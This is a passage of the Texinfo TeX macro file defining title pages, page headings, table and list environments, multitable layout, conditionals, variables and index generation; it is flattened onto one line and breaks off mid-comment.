\def\eurosize{\csname\curfontsize nominalsize\endcsname}% % \ifx\curfontstyle\bfstylename % bold: \font\thiseurofont = \ifusingit{feybo10}{feybr10} at \eurosize \else % regular: \font\thiseurofont = \ifusingit{feymo10}{feymr10} at \eurosize \fi \thiseurofont } % @registeredsymbol - R in a circle. The font for the R should really % be smaller yet, but lllsize is the best we can do for now. % Adapted from the plain.tex definition of \copyright. % \def\registeredsymbol{% $^{{\ooalign{\hfil\raise.07ex\hbox{\selectfonts\lllsize R}% \hfil\crcr\Orb}}% }$% } % Laurent Siebenmann reports \Orb undefined with: % Textures 1.7.7 (preloaded format=plain 93.10.14) (68K) 16 APR 2004 02:38 % so we'll define it if necessary. % \ifx\Orb\undefined \def\Orb{\mathhexbox20D} \fi \message{page headings,} \newskip\titlepagetopglue \titlepagetopglue = 1.5in \newskip\titlepagebottomglue \titlepagebottomglue = 2pc % First the title page. Must do @settitle before @titlepage. \newif\ifseenauthor \newif\iffinishedtitlepage % Do an implicit @contents or @shortcontents after @end titlepage if the % user says @setcontentsaftertitlepage or @setshortcontentsaftertitlepage. % \newif\ifsetcontentsaftertitlepage \let\setcontentsaftertitlepage = \setcontentsaftertitlepagetrue \newif\ifsetshortcontentsaftertitlepage \let\setshortcontentsaftertitlepage = \setshortcontentsaftertitlepagetrue \parseargdef\shorttitlepage{\begingroup\hbox{}\vskip 1.5in \chaprm \centerline{#1}% \endgroup\page\hbox{}\page} \envdef\titlepage{% % Open one extra group, as we want to close it in the middle of \Etitlepage. \begingroup \parindent=0pt \textfonts % Leave some space at the very top of the page. \vglue\titlepagetopglue % No rule at page bottom unless we print one at the top with @title. \finishedtitlepagetrue % % Most title ``pages'' are actually two pages long, with space % at the top of the second. We don't want the ragged left on the second. \let\oldpage = \page \def\page{% \iffinishedtitlepage\else \finishtitlepage \fi \let\page = \oldpage \page \null }% } \def\Etitlepage{% \iffinishedtitlepage\else \finishtitlepage \fi % It is important to do the page break before ending the group, % because the headline and footline are only empty inside the group. % If we use the new definition of \page, we always get a blank page % after the title page, which we certainly don't want. \oldpage \endgroup % % Need this before the \...aftertitlepage checks so that if they are % in effect the toc pages will come out with page numbers. \HEADINGSon % % If they want short, they certainly want long too. \ifsetshortcontentsaftertitlepage \shortcontents \contents \global\let\shortcontents = \relax \global\let\contents = \relax \fi % \ifsetcontentsaftertitlepage \contents \global\let\contents = \relax \global\let\shortcontents = \relax \fi } \def\finishtitlepage{% \vskip4pt \hrule height 2pt width \hsize \vskip\titlepagebottomglue \finishedtitlepagetrue } %%% Macros to be used within @titlepage: \let\subtitlerm=\tenrm \def\subtitlefont{\subtitlerm \normalbaselineskip = 13pt \normalbaselines} \def\authorfont{\authorrm \normalbaselineskip = 16pt \normalbaselines \let\tt=\authortt} \parseargdef\title{% \checkenv\titlepage \leftline{\titlefonts\rm #1} % print a rule at the page bottom also. \finishedtitlepagefalse \vskip4pt \hrule height 4pt width \hsize \vskip4pt } \parseargdef\subtitle{% \checkenv\titlepage {\subtitlefont \rightline{#1}}% } % @author should come last, but may come many times. % It can also be used inside @quotation. % \parseargdef\author{% \def\temp{\quotation}% \ifx\thisenv\temp \def\quotationauthor{#1}% printed in \Equotation. \else \checkenv\titlepage \ifseenauthor\else \vskip 0pt plus 1filll \seenauthortrue \fi {\authorfont \leftline{#1}}% \fi } %%% Set up page headings and footings. \let\thispage=\folio \newtoks\evenheadline % headline on even pages \newtoks\oddheadline % headline on odd pages \newtoks\evenfootline % footline on even pages \newtoks\oddfootline % footline on odd pages % Now make TeX use those variables \headline={{\textfonts\rm \ifodd\pageno \the\oddheadline \else \the\evenheadline \fi}} \footline={{\textfonts\rm \ifodd\pageno \the\oddfootline \else \the\evenfootline \fi}\HEADINGShook} \let\HEADINGShook=\relax % Commands to set those variables. % For example, this is what @headings on does % @evenheading @thistitle|@thispage|@thischapter % @oddheading @thischapter|@thispage|@thistitle % @evenfooting @thisfile|| % @oddfooting ||@thisfile \def\evenheading{\parsearg\evenheadingxxx} \def\evenheadingxxx #1{\evenheadingyyy #1\|\|\|\|\finish} \def\evenheadingyyy #1\|#2\|#3\|#4\finish{% \global\evenheadline={\rlap{\centerline{#2}}\line{#1\hfil#3}}} \def\oddheading{\parsearg\oddheadingxxx} \def\oddheadingxxx #1{\oddheadingyyy #1\|\|\|\|\finish} \def\oddheadingyyy #1\|#2\|#3\|#4\finish{% \global\oddheadline={\rlap{\centerline{#2}}\line{#1\hfil#3}}} \parseargdef\everyheading{\oddheadingxxx{#1}\evenheadingxxx{#1}}% \def\evenfooting{\parsearg\evenfootingxxx} \def\evenfootingxxx #1{\evenfootingyyy #1\|\|\|\|\finish} \def\evenfootingyyy #1\|#2\|#3\|#4\finish{% \global\evenfootline={\rlap{\centerline{#2}}\line{#1\hfil#3}}} \def\oddfooting{\parsearg\oddfootingxxx} \def\oddfootingxxx #1{\oddfootingyyy #1\|\|\|\|\finish} \def\oddfootingyyy #1\|#2\|#3\|#4\finish{% \global\oddfootline = {\rlap{\centerline{#2}}\line{#1\hfil#3}}% % % Leave some space for the footline. Hopefully ok to assume % @evenfooting will not be used by itself. \global\advance\pageheight by -\baselineskip \global\advance\vsize by -\baselineskip } \parseargdef\everyfooting{\oddfootingxxx{#1}\evenfootingxxx{#1}} % @headings double turns headings on for double-sided printing. % @headings single turns headings on for single-sided printing. % @headings off turns them off. % @headings on same as @headings double, retained for compatibility. % @headings after turns on double-sided headings after this page. % @headings doubleafter turns on double-sided headings after this page. % @headings singleafter turns on single-sided headings after this page. % By default, they are off at the start of a document, % and turned `on' after @end titlepage. \def\headings #1 {\csname HEADINGS#1\endcsname} \def\HEADINGSoff{% \global\evenheadline={\hfil} \global\evenfootline={\hfil} \global\oddheadline={\hfil} \global\oddfootline={\hfil}} \HEADINGSoff % When we turn headings on, set the page number to 1. % For double-sided printing, put current file name in lower left corner, % chapter name on inside top of right hand pages, document % title on inside top of left hand pages, and page numbers on outside top % edge of all pages. \def\HEADINGSdouble{% \global\pageno=1 \global\evenfootline={\hfil} \global\oddfootline={\hfil} \global\evenheadline={\line{\folio\hfil\thistitle}} \global\oddheadline={\line{\thischapter\hfil\folio}} \global\let\contentsalignmacro = \chapoddpage } \let\contentsalignmacro = \chappager % For single-sided printing, chapter title goes across top left of page, % page number on top right. \def\HEADINGSsingle{% \global\pageno=1 \global\evenfootline={\hfil} \global\oddfootline={\hfil} \global\evenheadline={\line{\thischapter\hfil\folio}} \global\oddheadline={\line{\thischapter\hfil\folio}} \global\let\contentsalignmacro = \chappager } \def\HEADINGSon{\HEADINGSdouble} \def\HEADINGSafter{\let\HEADINGShook=\HEADINGSdoublex} \let\HEADINGSdoubleafter=\HEADINGSafter \def\HEADINGSdoublex{% \global\evenfootline={\hfil} \global\oddfootline={\hfil} \global\evenheadline={\line{\folio\hfil\thistitle}} \global\oddheadline={\line{\thischapter\hfil\folio}} \global\let\contentsalignmacro = \chapoddpage } \def\HEADINGSsingleafter{\let\HEADINGShook=\HEADINGSsinglex} \def\HEADINGSsinglex{% \global\evenfootline={\hfil} \global\oddfootline={\hfil} \global\evenheadline={\line{\thischapter\hfil\folio}} \global\oddheadline={\line{\thischapter\hfil\folio}} \global\let\contentsalignmacro = \chappager } % Subroutines used in generating headings % This produces Day Month Year style of output. % Only define if not already defined, in case a txi-??.tex file has set % up a different format (e.g., txi-cs.tex does this). \ifx\today\undefined \def\today{% \number\day\space \ifcase\month \or\putwordMJan\or\putwordMFeb\or\putwordMMar\or\putwordMApr \or\putwordMMay\or\putwordMJun\or\putwordMJul\or\putwordMAug \or\putwordMSep\or\putwordMOct\or\putwordMNov\or\putwordMDec \fi \space\number\year} \fi % @settitle line... specifies the title of the document, for headings. % It generates no output of its own. \def\thistitle{\putwordNoTitle} \def\settitle{\parsearg{\gdef\thistitle}} \message{tables,} % Tables -- @table, @ftable, @vtable, @item(x). % default indentation of table text \newdimen\tableindent \tableindent=.8in % default indentation of @itemize and @enumerate text \newdimen\itemindent \itemindent=.3in % margin between end of table item and start of table text. \newdimen\itemmargin \itemmargin=.1in % used internally for \itemindent minus \itemmargin \newdimen\itemmax % Note @table, @ftable, and @vtable define @item, @itemx, etc., with % these defs. % They also define \itemindex % to index the item name in whatever manner is desired (perhaps none). \newif\ifitemxneedsnegativevskip \def\itemxpar{\par\ifitemxneedsnegativevskip\nobreak\vskip-\parskip\nobreak\fi} \def\internalBitem{\smallbreak \parsearg\itemzzz} \def\internalBitemx{\itemxpar \parsearg\itemzzz} \def\itemzzz #1{\begingroup % \advance\hsize by -\rightskip \advance\hsize by -\tableindent \setbox0=\hbox{\itemindicate{#1}}% \itemindex{#1}% \nobreak % This prevents a break before @itemx. % % If the item text does not fit in the space we have, put it on a line % by itself, and do not allow a page break either before or after that % line. We do not start a paragraph here because then if the next % command is, e.g., @kindex, the whatsit would get put into the % horizontal list on a line by itself, resulting in extra blank space. \ifdim \wd0>\itemmax % % Make this a paragraph so we get the \parskip glue and wrapping, % but leave it ragged-right. \begingroup \advance\leftskip by-\tableindent \advance\hsize by\tableindent \advance\rightskip by0pt plus1fil \leavevmode\unhbox0\par \endgroup % % We're going to be starting a paragraph, but we don't want the % \parskip glue -- logically it's part of the @item we just started. \nobreak \vskip-\parskip % % Stop a page break at the \parskip glue coming up. However, if % what follows is an environment such as @example, there will be no % \parskip glue; then the negative vskip we just inserted would % cause the example and the item to crash together. So we use this % bizarre value of 10001 as a signal to \aboveenvbreak to insert % \parskip glue after all. Section titles are handled this way also. % \penalty 10001 \endgroup \itemxneedsnegativevskipfalse \else % The item text fits into the space. Start a paragraph, so that the % following text (if any) will end up on the same line. \noindent % Do this with kerns and \unhbox so that if there is a footnote in % the item text, it can migrate to the main vertical list and % eventually be printed. \nobreak\kern-\tableindent \dimen0 = \itemmax \advance\dimen0 by \itemmargin \advance\dimen0 by -\wd0 \unhbox0 \nobreak\kern\dimen0 \endgroup \itemxneedsnegativevskiptrue \fi } \def\item{\errmessage{@item while not in a list environment}} \def\itemx{\errmessage{@itemx while not in a list environment}} % @table, @ftable, @vtable. \envdef\table{% \let\itemindex\gobble \tablecheck{table}% } \envdef\ftable{% \def\itemindex ##1{\doind {fn}{\code{##1}}}% \tablecheck{ftable}% } \envdef\vtable{% \def\itemindex ##1{\doind {vr}{\code{##1}}}% \tablecheck{vtable}% } \def\tablecheck#1{% \ifnum \the\catcode`\^^M=\active \endgroup \errmessage{This command won't work in this context; perhaps the problem is that we are \inenvironment\thisenv}% \def\next{\doignore{#1}}% \else \let\next\tablex \fi \next } \def\tablex#1{% \def\itemindicate{#1}% \parsearg\tabley } \def\tabley#1{% {% \makevalueexpandable \edef\temp{\noexpand\tablez #1\space\space\space}% \expandafter }\temp \endtablez } \def\tablez #1 #2 #3 #4\endtablez{% \aboveenvbreak \ifnum 0#1>0 \advance \leftskip by #1\mil \fi \ifnum 0#2>0 \tableindent=#2\mil \fi \ifnum 0#3>0 \advance \rightskip by #3\mil \fi \itemmax=\tableindent \advance \itemmax by -\itemmargin \advance \leftskip by \tableindent \exdentamount=\tableindent \parindent = 0pt \parskip = \smallskipamount \ifdim \parskip=0pt \parskip=2pt \fi \let\item = \internalBitem \let\itemx = \internalBitemx } \def\Etable{\endgraf\afterenvbreak} \let\Eftable\Etable \let\Evtable\Etable \let\Eitemize\Etable \let\Eenumerate\Etable % This is the counter used by @enumerate, which is really @itemize \newcount \itemno \envdef\itemize{\parsearg\doitemize} \def\doitemize#1{% \aboveenvbreak \itemmax=\itemindent \advance\itemmax by -\itemmargin \advance\leftskip by \itemindent \exdentamount=\itemindent \parindent=0pt \parskip=\smallskipamount \ifdim\parskip=0pt \parskip=2pt \fi \def\itemcontents{#1}% % @itemize with no arg is equivalent to @itemize @bullet. \ifx\itemcontents\empty\def\itemcontents{\bullet}\fi \let\item=\itemizeitem } % Definition of @item while inside @itemize and @enumerate. % \def\itemizeitem{% \advance\itemno by 1 % for enumerations {\let\par=\endgraf \smallbreak}% reasonable place to break {% % If the document has an @itemize directly after a section title, a % \nobreak will be last on the list, and \sectionheading will have % done a \vskip-\parskip. In that case, we don't want to zero % parskip, or the item text will crash with the heading. On the % other hand, when there is normal text preceding the item (as there % usually is), we do want to zero parskip, or there would be too much % space. In that case, we won't have a \nobreak before. At least % that's the theory. \ifnum\lastpenalty<10000 \parskip=0in \fi \noindent \hbox to 0pt{\hss \itemcontents \kern\itemmargin}% \vadjust{\penalty 1200}}% not good to break after first line of item. \flushcr } % \splitoff TOKENS\endmark defines \first to be the first token in % TOKENS, and \rest to be the remainder. % \def\splitoff#1#2\endmark{\def\first{#1}\def\rest{#2}}% % Allow an optional argument of an uppercase letter, lowercase letter, % or number, to specify the first label in the enumerated list. No % argument is the same as `1'. % \envparseargdef\enumerate{\enumeratey #1 \endenumeratey} \def\enumeratey #1 #2\endenumeratey{% % If we were given no argument, pretend we were given `1'. \def\thearg{#1}% \ifx\thearg\empty \def\thearg{1}\fi % % Detect if the argument is a single token. If so, it might be a % letter. Otherwise, the only valid thing it can be is a number. % (We will always have one token, because of the test we just made. % This is a good thing, since \splitoff doesn't work given nothing at % all -- the first parameter is undelimited.) \expandafter\splitoff\thearg\endmark \ifx\rest\empty % Only one token in the argument. It could still be anything. % A ``lowercase letter'' is one whose \lccode is nonzero. % An ``uppercase letter'' is one whose \lccode is both nonzero, and % not equal to itself. % Otherwise, we assume it's a number. % % We need the \relax at the end of the \ifnum lines to stop TeX from % continuing to look for a . % \ifnum\lccode\expandafter`\thearg=0\relax \numericenumerate % a number (we hope) \else % It's a letter. \ifnum\lccode\expandafter`\thearg=\expandafter`\thearg\relax \lowercaseenumerate % lowercase letter \else \uppercaseenumerate % uppercase letter \fi \fi \else % Multiple tokens in the argument. We hope it's a number. \numericenumerate \fi } % An @enumerate whose labels are integers. The starting integer is % given in \thearg. % \def\numericenumerate{% \itemno = \thearg \startenumeration{\the\itemno}% } % The starting (lowercase) letter is in \thearg. \def\lowercaseenumerate{% \itemno = \expandafter`\thearg \startenumeration{% % Be sure we're not beyond the end of the alphabet. \ifnum\itemno=0 \errmessage{No more lowercase letters in @enumerate; get a bigger alphabet}% \fi \char\lccode\itemno }% } % The starting (uppercase) letter is in \thearg. \def\uppercaseenumerate{% \itemno = \expandafter`\thearg \startenumeration{% % Be sure we're not beyond the end of the alphabet. \ifnum\itemno=0 \errmessage{No more uppercase letters in @enumerate; get a bigger alphabet} \fi \char\uccode\itemno }% } % Call \doitemize, adding a period to the first argument and supplying the % common last two arguments. Also subtract one from the initial value in % \itemno, since @item increments \itemno. % \def\startenumeration#1{% \advance\itemno by -1 \doitemize{#1.}\flushcr } % @alphaenumerate and @capsenumerate are abbreviations for giving an arg % to @enumerate. % \def\alphaenumerate{\enumerate{a}} \def\capsenumerate{\enumerate{A}} \def\Ealphaenumerate{\Eenumerate} \def\Ecapsenumerate{\Eenumerate} % @multitable macros % Amy Hendrickson, 8/18/94, 3/6/96 % % @multitable ... @end multitable will make as many columns as desired. % Contents of each column will wrap at width given in preamble. Width % can be specified either with sample text given in a template line, % or in percent of \hsize, the current width of text on page. % Table can continue over pages but will only break between lines. % To make preamble: % % Either define widths of columns in terms of percent of \hsize: % @multitable @columnfractions .25 .3 .45 % @item ... % % Numbers following @columnfractions are the percent of the total % current hsize to be used for each column. You may use as many % columns as desired. % Or use a template: % @multitable {Column 1 template} {Column 2 template} {Column 3 template} % @item ... % using the widest term desired in each column. % Each new table line starts with @item, each subsequent new column % starts with @tab. Empty columns may be produced by supplying @tab's % with nothing between them for as many times as empty columns are needed, % ie, @tab@tab@tab will produce two empty columns. % @item, @tab do not need to be on their own lines, but it will not hurt % if they are. % Sample multitable: % @multitable {Column 1 template} {Column 2 template} {Column 3 template} % @item first col stuff @tab second col stuff @tab third col % @item % first col stuff % @tab % second col stuff % @tab % third col % @item first col stuff @tab second col stuff % @tab Many paragraphs of text may be used in any column. % % They will wrap at the width determined by the template. % @item@tab@tab This will be in third column. % @end multitable % Default dimensions may be reset by user. % @multitableparskip is vertical space between paragraphs in table. % @multitableparindent is paragraph indent in table. % @multitablecolmargin is horizontal space to be left between columns. % @multitablelinespace is space to leave between table items, baseline % to baseline. % 0pt means it depends on current normal line spacing. % \newskip\multitableparskip \newskip\multitableparindent \newdimen\multitablecolspace \newskip\multitablelinespace \multitableparskip=0pt \multitableparindent=6pt \multitablecolspace=12pt \multitablelinespace=0pt % Macros used to set up halign preamble: % \let\endsetuptable\relax \def\xendsetuptable{\endsetuptable} \let\columnfractions\relax \def\xcolumnfractions{\columnfractions} \newif\ifsetpercent % #1 is the @columnfraction, usually a decimal number like .5, but might % be just 1. We just use it, whatever it is. % \def\pickupwholefraction#1 {% \global\advance\colcount by 1 \expandafter\xdef\csname col\the\colcount\endcsname{#1\hsize}% \setuptable } \newcount\colcount \def\setuptable#1{% \def\firstarg{#1}% \ifx\firstarg\xendsetuptable \let\go = \relax \else \ifx\firstarg\xcolumnfractions \global\setpercenttrue \else \ifsetpercent \let\go\pickupwholefraction \else \global\advance\colcount by 1 \setbox0=\hbox{#1\unskip\space}% Add a normal word space as a % separator; typically that is always in the input, anyway. \expandafter\xdef\csname col\the\colcount\endcsname{\the\wd0}% \fi \fi \ifx\go\pickupwholefraction % Put the argument back for the \pickupwholefraction call, so % we'll always have a period there to be parsed. \def\go{\pickupwholefraction#1}% \else \let\go = \setuptable \fi% \fi \go } % multitable-only commands. % % @headitem starts a heading row, which we typeset in bold. % Assignments have to be global since we are inside the implicit group % of an alignment entry. Note that \everycr resets \everytab. \def\headitem{\checkenv\multitable \crcr \global\everytab={\bf}\the\everytab}% % % A \tab used to include \hskip1sp. But then the space in a template % line is not enough. That is bad. So let's go back to just `&' until % we encounter the problem it was intended to solve again. % --karl, nathan@acm.org, 20apr99. \def\tab{\checkenv\multitable &\the\everytab}% % @multitable ... @end multitable definitions: % \newtoks\everytab % insert after every tab. % \envdef\multitable{% \vskip\parskip \startsavinginserts % % @item within a multitable starts a normal row. % We use \def instead of \let so that if one of the multitable entries % contains an @itemize, we don't choke on the \item (seen as \crcr aka % \endtemplate) expanding \doitemize. \def\item{\crcr}% % \tolerance=9500 \hbadness=9500 \setmultitablespacing \parskip=\multitableparskip \parindent=\multitableparindent \overfullrule=0pt \global\colcount=0 % \everycr = {% \noalign{% \global\everytab={}% \global\colcount=0 % Reset the column counter. % Check for saved footnotes, etc. \checkinserts % Keeps underfull box messages off when table breaks over pages. %\filbreak % Maybe so, but it also creates really weird page breaks when the % table breaks over pages. Wouldn't \vfil be better? Wait until the % problem manifests itself, so it can be fixed for real --karl. }% }% % \parsearg\domultitable } \def\domultitable#1{% % To parse everything between @multitable and @item: \setuptable#1 \endsetuptable % % This preamble sets up a generic column definition, which will % be used as many times as user calls for columns. % \vtop will set a single line and will also let text wrap and % continue for many paragraphs if desired. \halign\bgroup &% \global\advance\colcount by 1 \multistrut \vtop{% % Use the current \colcount to find the correct column width: \hsize=\expandafter\csname col\the\colcount\endcsname % % In order to keep entries from bumping into each other % we will add a \leftskip of \multitablecolspace to all columns after % the first one. % % If a template has been used, we will add \multitablecolspace % to the width of each template entry. % % If the user has set preamble in terms of percent of \hsize we will % use that dimension as the width of the column, and the \leftskip % will keep entries from bumping into each other. Table will start at % left margin and final column will justify at right margin. % % Make sure we don't inherit \rightskip from the outer environment. \rightskip=0pt \ifnum\colcount=1 % The first column will be indented with the surrounding text. \advance\hsize by\leftskip \else \ifsetpercent \else % If user has not set preamble in terms of percent of \hsize % we will advance \hsize by \multitablecolspace. \advance\hsize by \multitablecolspace \fi % In either case we will make \leftskip=\multitablecolspace: \leftskip=\multitablecolspace \fi % Ignoring space at the beginning and end avoids an occasional spurious % blank line, when TeX decides to break the line at the space before the % box from the multistrut, so the strut ends up on a line by itself. % For example: % @multitable @columnfractions .11 .89 % @item @code{#} % @tab Legal holiday which is valid in major parts of the whole country. % Is automatically provided with highlighting sequences respectively % marking characters. \noindent\ignorespaces##\unskip\multistrut }\cr } \def\Emultitable{% \crcr \egroup % end the \halign \global\setpercentfalse } \def\setmultitablespacing{% \def\multistrut{\strut}% just use the standard line spacing % % Compute \multitablelinespace (if not defined by user) for use in % \multitableparskip calculation. We used define \multistrut based on % this, but (ironically) that caused the spacing to be off. % See bug-texinfo report from Werner Lemberg, 31 Oct 2004 12:52:20 +0100. \ifdim\multitablelinespace=0pt \setbox0=\vbox{X}\global\multitablelinespace=\the\baselineskip \global\advance\multitablelinespace by-\ht0 \fi %% Test to see if parskip is larger than space between lines of %% table. If not, do nothing. %% If so, set to same dimension as multitablelinespace. \ifdim\multitableparskip>\multitablelinespace \global\multitableparskip=\multitablelinespace \global\advance\multitableparskip-7pt %% to keep parskip somewhat smaller %% than skip between lines in the table. \fi% \ifdim\multitableparskip=0pt \global\multitableparskip=\multitablelinespace \global\advance\multitableparskip-7pt %% to keep parskip somewhat smaller %% than skip between lines in the table. \fi} \message{conditionals,} % @iftex, @ifnotdocbook, @ifnothtml, @ifnotinfo, @ifnotplaintext, % @ifnotxml always succeed. They currently do nothing; we don't % attempt to check whether the conditionals are properly nested. But we % have to remember that they are conditionals, so that @end doesn't % attempt to close an environment group. % \def\makecond#1{% \expandafter\let\csname #1\endcsname = \relax \expandafter\let\csname iscond.#1\endcsname = 1 } \makecond{iftex} \makecond{ifnotdocbook} \makecond{ifnothtml} \makecond{ifnotinfo} \makecond{ifnotplaintext} \makecond{ifnotxml} % Ignore @ignore, @ifhtml, @ifinfo, and the like. % \def\direntry{\doignore{direntry}} \def\documentdescription{\doignore{documentdescription}} \def\docbook{\doignore{docbook}} \def\html{\doignore{html}} \def\ifdocbook{\doignore{ifdocbook}} \def\ifhtml{\doignore{ifhtml}} \def\ifinfo{\doignore{ifinfo}} \def\ifnottex{\doignore{ifnottex}} \def\ifplaintext{\doignore{ifplaintext}} \def\ifxml{\doignore{ifxml}} \def\ignore{\doignore{ignore}} \def\menu{\doignore{menu}} \def\xml{\doignore{xml}} % Ignore text until a line `@end #1', keeping track of nested conditionals. % % A count to remember the depth of nesting. \newcount\doignorecount \def\doignore#1{\begingroup % Scan in ``verbatim'' mode: \catcode`\@ = \other \catcode`\{ = \other \catcode`\} = \other % % Make sure that spaces turn into tokens that match what \doignoretext wants. \spaceisspace % % Count number of #1's that we've seen. \doignorecount = 0 % % Swallow text until we reach the matching `@end #1'. \dodoignore{#1}% } { \catcode`_=11 % We want to use \_STOP_ which cannot appear in texinfo source. \obeylines % % \gdef\dodoignore#1{% % #1 contains the command name as a string, e.g., `ifinfo'. % % Define a command to find the next `@end #1', which must be on a line % by itself. \long\def\doignoretext##1^^M@end #1{\doignoretextyyy##1^^M@#1\_STOP_}% % And this command to find another #1 command, at the beginning of a % line. (Otherwise, we would consider a line `@c @ifset', for % example, to count as an @ifset for nesting.) \long\def\doignoretextyyy##1^^M@#1##2\_STOP_{\doignoreyyy{##2}\_STOP_}% % % And now expand that command. \obeylines % \doignoretext ^^M% }% } \def\doignoreyyy#1{% \def\temp{#1}% \ifx\temp\empty % Nothing found. \let\next\doignoretextzzz \else % Found a nested condition, ... \advance\doignorecount by 1 \let\next\doignoretextyyy % ..., look for another. % If we're here, #1 ends with ^^M\ifinfo (for example). \fi \next #1% the token \_STOP_ is present just after this macro. } % We have to swallow the remaining "\_STOP_". % \def\doignoretextzzz#1{% \ifnum\doignorecount = 0 % We have just found the outermost @end. \let\next\enddoignore \else % Still inside a nested condition. \advance\doignorecount by -1 \let\next\doignoretext % Look for the next @end. \fi \next } % Finish off ignored text. \def\enddoignore{\endgroup\ignorespaces} % @set VAR sets the variable VAR to an empty value. % @set VAR REST-OF-LINE sets VAR to the value REST-OF-LINE. % % Since we want to separate VAR from REST-OF-LINE (which might be % empty), we can't just use \parsearg; we have to insert a space of our % own to delimit the rest of the line, and then take it out again if we % didn't need it. % We rely on the fact that \parsearg sets \catcode`\ =10. % \parseargdef\set{\setyyy#1 \endsetyyy} \def\setyyy#1 #2\endsetyyy{% {% \makevalueexpandable \def\temp{#2}% \edef\next{\gdef\makecsname{SET#1}}% \ifx\temp\empty \next{}% \else \setzzz#2\endsetzzz \fi }% } % Remove the trailing space \setxxx inserted. \def\setzzz#1 \endsetzzz{\next{#1}} % @clear VAR clears (i.e., unsets) the variable VAR. % \parseargdef\clear{% {% \makevalueexpandable \global\expandafter\let\csname SET#1\endcsname=\relax }% } % @value{foo} gets the text saved in variable foo. \def\value{\begingroup\makevalueexpandable\valuexxx} \def\valuexxx#1{\expandablevalue{#1}\endgroup} { \catcode`\- = \active \catcode`\_ = \active % \gdef\makevalueexpandable{% \let\value = \expandablevalue % We don't want these characters active, ... \catcode`\-=\other \catcode`\_=\other % ..., but we might end up with active ones in the argument if % we're called from @code, as @code{@value{foo-bar_}}, though. % So \let them to their normal equivalents. \let-\realdash \let_\normalunderscore } } % We have this subroutine so that we can handle at least some @value's % properly in indexes (we call \makevalueexpandable in \indexdummies). % The command has to be fully expandable (if the variable is set), since % the result winds up in the index file. This means that if the % variable's value contains other Texinfo commands, it's almost certain % it will fail (although perhaps we could fix that with sufficient work % to do a one-level expansion on the result, instead of complete). % \def\expandablevalue#1{% \expandafter\ifx\csname SET#1\endcsname\relax {[No value for ``#1'']}% \message{Variable `#1', used in @value, is not set.}% \else \csname SET#1\endcsname \fi } % @ifset VAR ... @end ifset reads the `...' iff VAR has been defined % with @set. % % To get special treatment of `@end ifset,' call \makeond and the redefine. % \makecond{ifset} \def\ifset{\parsearg{\doifset{\let\next=\ifsetfail}}} \def\doifset#1#2{% {% \makevalueexpandable \let\next=\empty \expandafter\ifx\csname SET#2\endcsname\relax #1% If not set, redefine \next. \fi \expandafter }\next } \def\ifsetfail{\doignore{ifset}} % @ifclear VAR ... @end ifclear reads the `...' iff VAR has never been % defined with @set, or has been undefined with @clear. % % The `\else' inside the `\doifset' parameter is a trick to reuse the % above code: if the variable is not set, do nothing, if it is set, % then redefine \next to \ifclearfail. % \makecond{ifclear} \def\ifclear{\parsearg{\doifset{\else \let\next=\ifclearfail}}} \def\ifclearfail{\doignore{ifclear}} % @dircategory CATEGORY -- specify a category of the dir file % which this file should belong to. Ignore this in TeX. \let\dircategory=\comment % @defininfoenclose. \let\definfoenclose=\comment \message{indexing,} % Index generation facilities % Define \newwrite to be identical to plain tex's \newwrite % except not \outer, so it can be used within macros and \if's. \edef\newwrite{\makecsname{ptexnewwrite}} % \newindex {foo} defines an index named foo. % It automatically defines \fooindex such that % \fooindex ...rest of line... puts an entry in the index foo. % It also defines \fooindfile to be the number of the output channel for % the file that accumulates this index. The file's extension is foo. % The name of an index should be no more than 2 characters long % for the sake of vms. % \def\newindex#1{% \iflinks \expandafter\newwrite \csname#1indfile\endcsname \openout \csname#1indfile\endcsname \jobname.#1 % Open the file \fi \expandafter\xdef\csname#1index\endcsname{% % Define @#1index \noexpand\doindex{#1}} } % @defindex foo == \newindex{foo} % \def\defindex{\parsearg\newindex} % Define @defcodeindex, like @defindex except put all entries in @code. % \def\defcodeindex{\parsearg\newcodeindex} % \def\newcodeindex#1{% \iflinks \expandafter\newwrite \csname#1indfile\endcsname \openout \csname#1indfile\endcsname \jobname.#1 \fi \expandafter\xdef\csname#1index\endcsname{% \noexpand\docodeindex{#1}}% } % @synindex foo bar makes index foo feed into index bar. % Do this instead of @defindex foo if you don't want it as a separate index. % % @syncodeindex foo bar similar, but put all entries made for index foo % inside @code. % \def\synindex#1 #2 {\dosynindex\doindex{#1}{#2}} \def\syncodeindex#1 #2 {\dosynindex\docodeindex{#1}{#2}} % #1 is \doindex or \docodeindex, #2 the index getting redefined (foo), % #3 the target index (bar). \def\dosynindex#1#2#3{% % Only do \closeout if we haven't already done it, else we'll end up % closing the target index. \expandafter \ifx\csname donesynindex#2\endcsname \undefined % The \closeout helps reduce unnecessary open files; the limit on the % Acorn RISC OS is a mere 16 files. \expandafter\closeout\csname#2indfile\endcsname \expandafter\let\csname\donesynindex#2\endcsname = 1 \fi % redefine \fooindfile: \expandafter\let\expandafter\temp\expandafter=\csname#3indfile\endcsname \expandafter\let\csname#2indfile\endcsname=\temp % redefine \fooindex: \expandafter\xdef\csname#2index\endcsname{\noexpand#1{#3}}% } % Define \doindex, the driver for all \fooindex macros. % Argument #1 is generated by the calling \fooindex macro, % and it is "foo", the name of the index. % \doindex just uses \parsearg; it calls \doind for the actual work. % This is because \doind is more useful to call from other macros. % There is also \dosubind {index}{topic}{subtopic} % which makes an entry in a two-level index such as the operation index. \def\doindex#1{\edef\indexname{#1}\parsearg\singleindexer} \def\singleindexer #1{\doind{\indexname}{#1}} % like the previous two, but they put @code around the argument. \def\docodeindex#1{\edef\indexname{#1}\parsearg\singlecodeindexer} \def\singlecodeindexer #1{\doind{\indexname}{\code{#1}}} % Take care of Texinfo commands that can appear in an index entry. % Since there are some commands we want to expand, and others we don't, % we have to laboriously prevent expansion for those that we don't. % \def\indexdummies{% \escapechar = `\\ % use backslash in output files. \def\@{@}% change to @@ when we switch to @ as escape char in index files. \def\ {\realbackslash\space }% % Need these in case \tex is in effect and \{ is a \delimiter again. % But can't use \lbracecmd and \rbracecmd because texindex assumes % braces and backslashes are used only as delimiters. \let\{ = \mylbrace \let\} = \myrbrace % % Do the redefinitions. \commondummies } % For the aux and toc files, @ is the escape character. So we want to % redefine everything using @ as the escape character (instead of % \realbackslash, still used for index files). When everything uses @, % this will be simpler. % \def\atdummies{% \def\@{@@}% \def\ {@ }% \let\{ = \lbraceatcmd \let\} = \rbraceatcmd % % Do the redefinitions. \commondummies } % Called from \indexdummies and \atdummies. % \def\commondummies{% % % \definedummyword defines \#1 as \string\#1\space, thus effectively % preventing its expansion. This is used only for control% words, % not control letters, because the \space would be incorrect for % control characters, but is needed to separate the control word % from whatever follows. % % For control letters, we have 